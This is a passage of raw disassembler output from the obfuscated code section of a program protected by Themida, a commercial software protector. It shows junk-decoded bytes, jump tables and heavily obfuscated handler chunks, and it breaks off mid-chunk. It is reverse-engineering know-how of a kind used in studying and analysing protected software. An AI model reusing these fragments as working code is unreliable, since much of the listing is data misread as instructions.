add [eax+2D00558Fh], cl
dec esi
push ebp
add [ebx+7F0055D4h], bh
retf 55h
; ---------------------------------------------------------------------------
loc_5532B0: ; CODE XREF: Themida_:00553259j
push ss
test eax, 0FA250055h
push ebp
add dh, bl
cmp [ebp+0], edx
ror dword ptr [ebx-6306FFABh], 1
push ebp
add [eax-65h], ch
push ebp
add cl, dl
rep push ebp
add [ebp+ecx*4+55h], cl
add [ebx], ah
fst dword ptr [ebp+0]
pop esp
not dword ptr [ebp+0]
xor ecx, ebp
push ebp
add [edx+650055F6h], bh
nop
push ebp
add [ebp-64FFAA26h], ah
jecxz short near ptr loc_55333F+1
add [ebx+ebx*8], cl
push ebp
add [ebx+44h], al
push ebp
add [ebp-0Fh], bl
push ebp
add [eax+4Ah], bh
push ebp
add al, bl
cmpsd
push ebp
add [esi+55h], ah
add [edi-36FFAA3Eh], ah
lock push ebp
add [esp+ecx*4-302DFFABh], cl
push ebp
add [ecx+esi*2], ah
push ebp
add al, cl
push edi
push ebp
add [edx-4Bh], bh
push ebp
add cl, ah
fist word ptr [ebp+0]
call near ptr 185588A9h
mov ecx, 6BA90055h
push ebp
add ah, bl
adc byte ptr [ebp+0], 22h
imul edx, [ebp+0], 55AAC6h
js short loc_553387
push ebp
loc_55333F: ; CODE XREF: Themida_:005532E9j
add [ebp-50FFAAA0h], bl
inc ecx
push ebp
add [eax], bl
mov ss, word ptr [ebp+0]
retf 55A4h
; ---------------------------------------------------------------------------
align 10h
dd offset loc_558677
dd offset loc_557070
dd offset loc_5564C5
dd offset loc_55E13B
; ---------------------------------------------------------------------------
popf
mov [ebp+0], dl
cmp al, [ebx-2EBCFFABh]
push ebp
add ah, dh
retn
; ---------------------------------------------------------------------------
dw 55h
; ---------------------------------------------------------------------------
cmp bh, [eax+55h]
add al, bh
sahf
push ebp
add [edx-59h], bh
push ebp
add [ebp-1Dh], dl
push ebp
add bh, ah
push 55h
add [ecx+4Ah], al
push ebp
loc_553387: ; CODE XREF: Themida_:0055333Cj
add [ecx], dh
movsb
push ebp
add [edi-7FFFAA6Ch], al
inc edi
push ebp
add [edi-8], cl
push ebp
add [ecx+1B0055E0h], cl
rcl byte ptr [ebp+0], 1
les ebp, [ecx+55h]
add [edx-5BFFAAAFh], cl
aam 55h
add bl, dh
cmpsb
push ebp
add [ecx], bh
lahf
push ebp
add dh, dl
xchg eax, esp
push ebp
add bh, cl
call near ptr 89DE3413h
push ebp
add [esi], cl
outsd
push ebp
add dl, bl
stosb
push ebp
add [edx+710055A2h], ch
int 55h
add [edi], al
mov al, ds:0C8C50055h
push ebp
add bl, dh
pop ebx
push ebp
add ch, bh
setalc
push ebp
add ch, bl
cmp edx, [ebp+0]
stosd
push esi
push ebp
add [eax-75h], ch
push ebp
add [eax-46h], bl
push ebp
add [ecx+0A005599h], bl
cmp [ebp+0], dl
fmul qword ptr [esi-1439FFABh]
push ebp
add [edx+ecx*8-211FFFABh], dl
push ebp
add [edi], dl
cld
push ebp
add [ecx+7Bh], ch
push ebp
add [ecx-26h], cl
push ebp
add al, dh
in eax, dx
push ebp
add [edx+ebp*4+55h], ah
add [ebx], ch
inc edi
push ebp
add [edi-2Eh], ch
push ebp
; ---------------------------------------------------------------------------
db 0
dd offset loc_55ED00
dd offset loc_55EE68
dd offset sub_559C84
dd offset sub_555C50
dd offset loc_55AAA7
dd offset loc_55BD5A
dd offset sub_555CF6
dd offset sub_558BB5
dd offset sub_5559F0
dd offset loc_55A010
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0AFh, 55h, 0
dd offset loc_556007
dd offset sub_5589C1
dd offset sub_559AA2
dd offset sub_556F2F
dd offset sub_556B78
dd offset loc_55B952
dd offset sub_555D07
dd offset sub_554517
dd offset sub_558684
dd offset loc_55D8CF
dd offset sub_557FAF
dd offset sub_55DBFB
dd offset sub_553E48
dd offset loc_55BBAC
dd offset loc_55C0F1
dd offset loc_55BAEA
dd offset loc_5599BE
dd offset sub_5561B6
dd offset sub_55E48F
dd offset sub_5576EE
dd offset sub_55369E
dd offset loc_55C461
dd offset sub_553EB3
dd offset sub_55E26B
dd offset loc_55A127
dd offset loc_55F090
dd offset loc_5578E4
dd offset sub_554790
; ---------------------------------------------------------------------------
inc ecx
cmp edx, [ebp+0]
sub eax, 0E000554Ah
jecxz short loc_553520
add [ebx-52FFAA4Ah], dl
imul edx, [ebp+0], 559BD8h
; START OF FUNCTION CHUNK FOR sub_5AEB29
loc_5534D8: ; CODE XREF: Themida_:0057554Aj
; Themida_:00575554j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6108075h
mov eax, edi
add edi, 6107D8Dh
cmp eax, [edi+2Ch]
jnz short loc_5534F6
jmp short loc_553509
; ---------------------------------------------------------------------------
loc_5534F6: ; CODE XREF: sub_5AEB29-5B637j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_553505
; ---------------------------------------------------------------------------
loc_553500: ; CODE XREF: sub_5AEB29-5B622j
add [edi+ecx*4+40h], eax
dec ecx
loc_553505: ; CODE XREF: sub_5AEB29-5B62Bj
or ecx, ecx
jnz short loc_553500
loc_553509: ; CODE XREF: sub_5AEB29-5B635j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_553516: ; CODE XREF: sub_5AEB29-5B60Cj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_553516
; END OF FUNCTION CHUNK FOR sub_5AEB29
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55351F: ; CODE XREF: sub_559C84-66B2j
; sub_559C84:loc_553700j ...
lodsb
loc_553520: ; CODE XREF: Themida_:005534C9j
push 36EDh
mov [esp+4+var_4], ecx
jmp loc_5590B7
; ---------------------------------------------------------------------------
loc_55352D: ; CODE XREF: sub_559C84-3F53j
pop edx
jmp loc_558F02
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_553533: ; CODE XREF: Themida_:005543F6j
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_558C23
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55353F: ; CODE XREF: sub_559C84+4358j
mov ecx, [esp+0]
add esp, 4
add al, bl
jmp loc_55C983
; ---------------------------------------------------------------------------
loc_55354F: ; CODE XREF: sub_559C84-2844j
pop esi
and esi, 79683494h
inc esi
xor esi, 23731DDCh
mov ecx, esi
pop esi
shr ecx, 3
and ecx, 1F5131AFh
shl ecx, 1
sub ecx, 1E824252h
add ebx, ecx
pop ecx
xchg ebx, [esp-10h+arg_C]
jmp loc_55A910
; ---------------------------------------------------------------------------
loc_55357C: ; CODE XREF: sub_559C84+50B2j
mov edi, [esp-10h+arg_C]
add esp, 4
push ebp
push 2418h
mov [esp-0Ch+arg_8], eax
mov eax, 13B258DAh
sub eax, 0FFFFFFFFh
or eax, 2B1D0181h
push ecx
mov ecx, 732245DDh
xor ecx, 18580BB9h
inc ecx
push edi
mov edi, 68643EC5h
shl edi, 7
push ecx
mov ecx, 30DD7E5Eh
dec ecx
add ecx, 87D6D87h
jmp loc_55C675
; ---------------------------------------------------------------------------
loc_5535C5: ; CODE XREF: sub_559C84-373Bj
add esp, 4
jmp loc_55AD63
; ---------------------------------------------------------------------------
loc_5535CD: ; CODE XREF: sub_559C84+421Dj
add word ptr [esp-4+arg_0], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5535D7: ; CODE XREF: sub_559C84+4E60j
mov eax, 4CFD1965h
and eax, 22D059C1h
xor eax, 2E9C4E68h
jmp loc_55E5FD
; ---------------------------------------------------------------------------
loc_5535EB: ; CODE XREF: sub_559C84-1D04j
mov ebp, [esp+0]
add esp, 4
add ebp, 53106C7h
push 24F8h
mov [esp+0], ebp
push dword ptr [esp+0]
pop eax
push 79Ah
mov [esp+4+var_4], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
pop ebp
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 349D0D56h
push ecx
push edi
jmp loc_555062
; ---------------------------------------------------------------------------
loc_553632: ; CODE XREF: sub_559C84+793j
mov ebx, [esp+0Ch+var_C]
add esp, 4
push ecx
push ebx
sub esp, 4
mov [esp+14h+var_14], edx
mov dh, 60h
mov bl, 23h
sub bl, dh
mov edx, [esp+14h+var_14]
jmp loc_55DD78
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559AA2
loc_553651: ; CODE XREF: sub_559AA2+Dj
mov [esp+8+var_8], ecx
mov ecx, esp
jmp loc_559097
; END OF FUNCTION CHUNK FOR sub_559AA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55365B: ; CODE XREF: sub_559C84+589j
add esi, 1
jmp loc_553743
; ---------------------------------------------------------------------------
loc_553663: ; CODE XREF: sub_559C84+512Bj
sub al, 74h
push dx
jmp loc_55708C
; ---------------------------------------------------------------------------
loc_55366C: ; CODE XREF: sub_559C84-6049j
mov esi, esp
add esi, 4
jmp loc_55E98C
; ---------------------------------------------------------------------------
loc_553679: ; CODE XREF: sub_559C84-447Aj
sub edx, 3E18362Ah
shr edx, 4
shr edx, 3
add edx, 0FE942C45h
add esi, edx
mov edx, [esp+16h+var_18+2]
add esp, 4
xor esi, [esp+12h+var_14+2]
jmp loc_55C1E7
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55369E proc near ; DATA XREF: Themida_:005534A0o
; FUNCTION CHUNK AT 0055FB65 SIZE 00000005 BYTES
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp+0], cl
pushf
jmp loc_55FB65
sub_55369E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5536AE: ; CODE XREF: sub_559C84+5D42j
sub edi, edx
pop edx
sub edi, 8F31ACAh
add edi, 2D5D21C3h
add edi, ecx
push esi
mov esi, 2D5D21C3h
sub edi, esi
pop esi
add edi, 8F31ACAh
push 71BAh
jmp loc_55FBAA
; ---------------------------------------------------------------------------
loc_5536D8: ; CODE XREF: sub_559C84-384Dj
pop ecx
push 76B2h
mov [esp+12h+var_14+2], edx
push ecx
push esi
mov esi, 576E36D8h
sub esi, 5742E2C9h
mov ecx, esi
pop esi
dec ecx
shl ecx, 8
sub ecx, 0E11DD3D3h
jmp loc_55C8FB
; ---------------------------------------------------------------------------
loc_553700: ; CODE XREF: sub_559C84-3FE2j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_553705: ; CODE XREF: sub_559C84+2287j
sub eax, 238375B7h
push edi
mov edi, 45F95F6Eh
jmp loc_556429
; ---------------------------------------------------------------------------
loc_553715: ; CODE XREF: sub_559C84+226Ej
xor edi, ebp
pop ebp
jmp loc_55A7C9
; ---------------------------------------------------------------------------
loc_55371D: ; CODE XREF: sub_559C84-28E5j
pop edx
jmp sub_55799E
; ---------------------------------------------------------------------------
loc_553723: ; CODE XREF: sub_559C84-2486j
pop ebx
pop eax
add ebx, 6E3F574Fh
add ebx, edi
push eax
mov eax, 644D2123h
sub eax, 0F60DC9D4h
sub ebx, 261D6CA4h
jmp loc_559551
; ---------------------------------------------------------------------------
loc_553743: ; CODE XREF: sub_559C84-6626j
xchg esi, ecx
jmp sub_55E1F9
; ---------------------------------------------------------------------------
loc_55374A: ; CODE XREF: sub_559C84+E05j
add [esp+14h+var_14], 4
pop ebp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
sub esp, 4
mov [esp+14h+var_14], edi
jmp loc_55EF7F
; ---------------------------------------------------------------------------
loc_553763: ; CODE XREF: sub_559C84+2E6Cj
mov esi, [esp+14h+var_14]
add esp, 4
not edi
xor edi, 7213D20h
push 7FE3h
mov [esp+14h+var_14], eax
push edi
mov edi, 7C9D3072h
shr edi, 8
jmp loc_55D379
; ---------------------------------------------------------------------------
loc_55378A: ; CODE XREF: sub_559C84-5646j
shr edi, 3
xor edi, 110EC05Ah
add ebx, edi
pop edi
push ecx
push edi
push ebx
jmp loc_553BAA
; ---------------------------------------------------------------------------
loc_55379E: ; CODE XREF: sub_559C84+4B74j
mov edi, esp
add edi, 4
jmp loc_55E981
; ---------------------------------------------------------------------------
loc_5537AB: ; CODE XREF: sub_559C84-2FEEj
sub al, 0B0h
push [esp+20h+var_20]
mov ebx, [esp+24h+var_24]
add esp, 4
jmp loc_556968
; ---------------------------------------------------------------------------
loc_5537BB: ; CODE XREF: sub_559C84+3732j
xor ecx, 1F6A57B0h
jmp sub_55E611
; ---------------------------------------------------------------------------
loc_5537C6: ; CODE XREF: sub_559C84-96j
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp+20h+var_20]
pop esp
or eax, eax
jz loc_555E7F
push dword ptr [edi+28h]
push [esp+20h+var_20]
jmp loc_55800E
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559AA2
loc_5537E8: ; CODE XREF: sub_559AA2-9F0j
add ecx, 4
jmp loc_5568C9
; END OF FUNCTION CHUNK FOR sub_559AA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5537F3: ; CODE XREF: sub_559C84+3A9Ej
add ch, bl
jmp loc_558BEB
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
db 87h ; ‡ ; CODE XREF: sub_55E51A-950Dj
db 0Ch
db 24h ; $
db 5Ch ; \
db 89h ; ‰
db 3Ch ; <
db 24h ; $
db 54h ; T
db 8Bh ; ‹
db 3Ch ; <
db 24h ; $
db 0E9h ; é
db 7
db 3Dh ; =
db 0
db 0
db 66h ; f
db 8Bh ; ‹
db 0Ch
db 24h ; $
db 53h ; S
db 54h ; T
db 8Bh ; ‹
db 1Ch
db 24h ; $
db 52h ; R
db 89h ; ‰
db 0E2h ; â
db 0E9h ; é
db 0D5h ; Õ
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55381B: ; CODE XREF: sub_559C84-6154j
push ecx
push ebp
push edx
mov edx, 7EB92668h
jmp loc_5544A1
; ---------------------------------------------------------------------------
loc_553828: ; CODE XREF: sub_559C84+427Dj
add edx, 4
add edx, 4
xchg edx, [esp+30h+var_30]
jmp loc_558C5F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55383C: ; CODE XREF: Themida_:0055EB71j
mov ebx, 5BBD29E7h
or ebx, 6D3241F0h
not ebx
sub ebx, 1FE75A44h
dec ebx
sub ebx, 60593BBFh
add ecx, ebx
jmp loc_556511
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55895E
loc_55385D: ; CODE XREF: sub_55895E+5A09j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+8+var_8]
pop esp
push ebp
mov ebp, 4
jmp loc_55C35E
; END OF FUNCTION CHUNK FOR sub_55895E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553876: ; CODE XREF: sub_559C84+2FC8j
push esi
jmp loc_55D4F6
; ---------------------------------------------------------------------------
loc_55387C: ; CODE XREF: sub_559C84-5F53j
xor edi, 118A25A4h
add edx, 1D372BE1h
sub edx, edi
push ebp
mov ebp, 13D907A0h
jmp loc_55F44D
; ---------------------------------------------------------------------------
loc_553895: ; CODE XREF: sub_559C84+558Fj
push edi
push ecx
mov ecx, 1C50245Fh
dec ecx
neg ecx
sub ecx, 1D307A8Fh
shl ecx, 4
jmp loc_556A26
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554790
loc_5538AD: ; CODE XREF: sub_554790+Ej
push ecx
push edi
push 79487896h
jmp loc_55B039
; END OF FUNCTION CHUNK FOR sub_554790
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5538B9: ; CODE XREF: sub_559C84-61C1j
sub edi, 0E5741A5h
dec edi
jmp loc_55F6AF
; ---------------------------------------------------------------------------
loc_5538C5: ; CODE XREF: sub_559C84+5F3Ej
mov [esp+40h+var_42+2], edx
push eax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5538CF: ; CODE XREF: sub_559C84+39ABj
mov [esp+48h+var_4A+2], ecx
mov cl, 6Fh
xor cl, 36h
push ebx
mov bh, 48h
jmp loc_55EC66
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_5538DF proc near ; CODE XREF: sub_559C84+4271j
var_2 = word ptr -2
; FUNCTION CHUNK AT 0055807D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00558649 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559375 SIZE 00000013 BYTES
push ebx
mov bl, 2Ch
xor bl, 7
add bl, 0B7h
mov dh, bl
jmp loc_55807D
sub_5538DF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5538EF: ; CODE XREF: sub_559C84+30CFj
add bl, 88h
pop edx
add bl, 82h
add bl, al
sub bl, 82h
jmp loc_5552F5
; ---------------------------------------------------------------------------
loc_553900: ; CODE XREF: sub_559C84-4616j
movzx eax, al
push dword ptr [edi+eax*4]
push [esp+4Ch+var_4E+2]
mov eax, [esp+50h+var_52+2]
jmp loc_55E223
; ---------------------------------------------------------------------------
loc_553911: ; CODE XREF: sub_559C84+29DBj
sub ecx, 2CE81FC1h
jmp loc_55668B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558BA2
loc_55391C: ; CODE XREF: sub_558BA2-B99j
push eax
push esp
pop eax
add eax, 4
push edi
push esi
mov esi, 60D933E2h
mov edi, 9F26CC22h
add edi, esi
jmp loc_55975F
; END OF FUNCTION CHUNK FOR sub_558BA2
; ---------------------------------------------------------------------------
loc_553937: ; CODE XREF: Themida_:0055F763j
mov ebp, esp
add ebp, 4
push edi
mov edi, 4
jmp loc_555E8A
; ---------------------------------------------------------------------------
loc_55394A: ; CODE XREF: Themida_:00555652j
push esp
push dword ptr [esp]
mov edi, [esp]
jmp loc_55547D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553956: ; CODE XREF: sub_559C84-59C4j
add eax, 0FC7A94E1h
jmp loc_556F9B
; ---------------------------------------------------------------------------
loc_553960: ; CODE XREF: sub_559C84-5191j
mov dh, 82h
sub dh, bh
mov ebx, [esp+50h+var_52+2]
jmp loc_558876
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55895E
loc_55396C: ; CODE XREF: sub_55895E+6j
add edi, ebp
jmp loc_55E35D
; END OF FUNCTION CHUNK FOR sub_55895E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5589C1
loc_553973: ; CODE XREF: sub_5589C1-242Ej
mov edx, 1C1D4846h
jmp loc_559B17
; END OF FUNCTION CHUNK FOR sub_5589C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555531
loc_55397D: ; CODE XREF: sub_555531+326Aj
sub ebx, ebp
pop ebp
jmp loc_55E783
; END OF FUNCTION CHUNK FOR sub_555531
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553985: ; CODE XREF: sub_559C84+4BEj
sub al, ch
pop ecx
jmp loc_55480E
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55398D: ; CODE XREF: Themida_:00553AE9j
pop dx
add al, 78h
push edx
push eax
mov ah, 0C7h
or ah, 26h
not ah
dec ah
add ah, 55h
dec ah
add ah, 0BCh
or ah, 7Ch
or ah, 5Bh
jmp loc_556BE0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E26B
loc_5539AF: ; CODE XREF: sub_55E26B-8472j
push edi
mov edi, 33457FF5h
sub edi, 5151421Fh
xor edi, 0E1F43DD2h
add ebp, edi
pop edi
jmp loc_554239
; END OF FUNCTION CHUNK FOR sub_55E26B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5539C9: ; CODE XREF: sub_559C84-502Ej
and cl, bl
pop ebx
push small 0C90h
mov word ptr [esp+4Ah+var_4A], bx
push ecx
mov ch, 0B0h
mov bl, ch
jmp loc_55EE9C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push ebp
sub esp, 4
mov [esp], esi
push ebp
mov ebp, 57093D16h
push ebp
pop esi
pop ebp
mov ebp, 24560F7Ch
xor ebp, esi
mov esi, [esp]
add esp, 4
jmp loc_556B4C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553A03: ; CODE XREF: sub_559C84-716j
shl bh, 5
jmp loc_557246
; ---------------------------------------------------------------------------
loc_553A0B: ; CODE XREF: sub_559C84-266j
add esi, 4
xchg esi, [esp+4Eh+var_4E]
jmp loc_55DB06
; ---------------------------------------------------------------------------
loc_553A16: ; CODE XREF: sub_559C84-A69j
push ecx
pop ebx
mov ecx, [esp+4Eh+var_4E]
add esp, 4
or [edi+1Ch], ebx
pop ebx
loc_553A25: ; CODE XREF: sub_559C84-237Bj
push 0A34h
jmp loc_555A67
; ---------------------------------------------------------------------------
loc_553A2F: ; CODE XREF: sub_559C84+56D5j
xor al, 9Ah
jmp loc_55DFCF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_553A36: ; CODE XREF: Themida_:0055E0AAj
add esp, 4
add edi, 4
add edi, 4
jmp loc_5547B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553A4D: ; CODE XREF: sub_559C84+55BAj
add ebx, 0FDE8C6C1h
add edx, 795140F7h
add edx, ebx
jmp loc_555C8C
; ---------------------------------------------------------------------------
loc_553A60: ; CODE XREF: sub_559C84+5347j
add eax, 4
jmp loc_554DC7
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_553A6A: ; CODE XREF: Themida_:0055563Bj
add ax, si
pop si
push ecx
mov cx, 5E10h
jmp loc_558E46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553A79: ; CODE XREF: sub_559C84+3672j
pop ebx
jmp loc_559DE7
; ---------------------------------------------------------------------------
loc_553A7F: ; CODE XREF: sub_559C84-D15j
xchg ecx, [esp+46h+var_46]
mov esp, [esp+46h+var_46]
mov [esp+46h+var_46], eax
jmp loc_558271
; ---------------------------------------------------------------------------
loc_553A8D: ; CODE XREF: sub_559C84+5A1j
mov ebx, 7FF20537h
add ebp, ebx
pop ebx
sub ebp, 1A1CB70Ch
and eax, ebp
push [esp+42h+var_42]
mov ebp, [esp+46h+var_46]
add esp, 4
add esp, 4
jmp loc_55F058
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DE4E
loc_553AAE: ; CODE XREF: sub_55DE4E+Bj
push edx
jmp loc_558F81
; END OF FUNCTION CHUNK FOR sub_55DE4E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553AB4: ; CODE XREF: sub_559C84+4124j
push edi
mov edi, 6EB93A4Ch
or edi, 6D2F38E5h
shr edi, 5
jmp loc_5538B9
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558BA2
loc_553AC8: ; CODE XREF: sub_558BA2+5F0Cj
sub ebx, edi
jmp loc_55D46B
; END OF FUNCTION CHUNK FOR sub_558BA2
; ---------------------------------------------------------------------------
loc_553ACF: ; CODE XREF: Themida_:00558C90j
push ecx
push 2AD3h
jmp loc_5544D1
; =============== S U B R O U T I N E =======================================
sub_553ADA proc near ; CODE XREF: sub_559C84+4558j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00556683 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_556683
sub_553ADA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_553AE5: ; CODE XREF: Themida_:00558164j
mov dl, 18h
sub al, dl
jmp loc_55398D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553AEE: ; CODE XREF: sub_559C84-3BA2j
pop eax
jmp loc_556D39
; ---------------------------------------------------------------------------
loc_553AF4: ; CODE XREF: sub_559C84-3DFFj
mov [esp+3Eh+var_3E], eax
mov eax, ebx
jmp loc_55F188
; ---------------------------------------------------------------------------
loc_553AFE: ; CODE XREF: sub_559C84+1543j
push edx
mov dl, 9Fh
add dl, 39h
add al, dl
pop edx
mov ebx, [esp+3Eh+var_3E]
add esp, 4
sub al, bl
push ebx
push ecx
mov ch, 32h
jmp loc_55EDCB
; ---------------------------------------------------------------------------
loc_553B1B: ; CODE XREF: sub_559C84+345Bj
pop ebp
push eax
pop ebx
pop eax
jmp loc_55CC92
; ---------------------------------------------------------------------------
loc_553B24: ; CODE XREF: sub_559C84-3B39j
mov ebx, [esp+3Ah+var_3A]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_55381B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_553B35: ; CODE XREF: Themida_:005585BBj
and ecx, 45432AE4h
inc ecx
jmp loc_557A92
; ---------------------------------------------------------------------------
lodsb
sub esp, 2
mov [esp], cx
jmp loc_5543C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553B51: ; CODE XREF: sub_559C84-1F10j
pop ebx
push ebp
jmp loc_55E767
; ---------------------------------------------------------------------------
loc_553B58: ; CODE XREF: sub_559C84+44E3j
pop [esp+3Eh+var_3E]
pop ebx
jmp loc_558D39
; ---------------------------------------------------------------------------
loc_553B61: ; CODE XREF: sub_559C84+1E3Cj
pop ebx
jmp loc_55AF88
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_553B67: ; CODE XREF: Themida_:0055F091j
sub esp, 4
jmp loc_553F87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553B72: ; CODE XREF: sub_559C84-28A7j
sub al, 69h
add al, 49h
jmp loc_556214
; ---------------------------------------------------------------------------
loc_553B7B: ; CODE XREF: sub_559C84-55E2j
push ecx
mov ecx, 7DFE6DDAh
sub esi, ecx
pop ecx
mov edi, esi
pop esi
jmp loc_55F3DF
; ---------------------------------------------------------------------------
loc_553B8C: ; CODE XREF: sub_559C84-83Bj
pop edi
sub esp, 4
mov [esp+2Eh+var_30+2], ebx
jmp loc_558A7B
; ---------------------------------------------------------------------------
loc_553B9B: ; CODE XREF: sub_559C84+1508j
push eax
mov ah, ch
mov dl, ah
pop eax
pop ecx
neg dl
push ecx
jmp loc_559161
; ---------------------------------------------------------------------------
loc_553BAA: ; CODE XREF: sub_559C84-64EBj
mov ebx, 6083497Ah
mov edi, ebx
pop ebx
mov ecx, 6083497Eh
sub ecx, edi
pop edi
add ebx, ecx
push [esp+18h+var_18]
pop ecx
add esp, 4
xchg ebx, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
push 3082h
jmp loc_556E9D
; ---------------------------------------------------------------------------
loc_553BD3: ; CODE XREF: sub_559C84-44C1j
mov edx, 2C5E2048h
jmp loc_559254
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push edi
mov edi, esp
push eax
jmp loc_55C04E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553BE6: ; CODE XREF: sub_559C84+59D7j
xchg ebp, [esp+18h+var_18]
mov eax, [esp+18h+var_18]
sub esp, 4
mov [esp+1Ch+var_1C], edx
jmp loc_558DFC
; ---------------------------------------------------------------------------
loc_553BF7: ; CODE XREF: sub_559C84+3B22j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+1Ch+var_1C]
mov esp, [esp+1Ch+var_1C]
mov [esp+1Ch+var_1C], edx
mov edx, 4
add ecx, edx
pop edx
xor ecx, [esp+18h+var_18]
xor [esp+18h+var_18], ecx
jmp loc_55C6C8
; ---------------------------------------------------------------------------
loc_553C1E: ; CODE XREF: sub_559C84+3349j
push esi
mov esi, 36271794h
mov edx, 0C9D8E870h
add edx, 6A155B24h
add edx, esi
sub edx, 6A155B24h
mov esi, [esp+1Ch+var_1C]
push esi
jmp loc_55366C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EB5B
loc_553C40: ; CODE XREF: sub_55EB5B-1DFj
sub ax, 76F5h
pop esi
jmp loc_55BBB4
; END OF FUNCTION CHUNK FOR sub_55EB5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553C4A: ; CODE XREF: sub_559C84+4058j
sub eax, ecx
push edi
mov edi, 19C621BDh
sub eax, edi
jmp loc_55CEEF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_553C59: ; CODE XREF: Themida_:005544F6j
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
bt [esp], eax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_553C7D: ; CODE XREF: sub_559C84-3844j
sub bl, cl
pop cx
add bl, dh
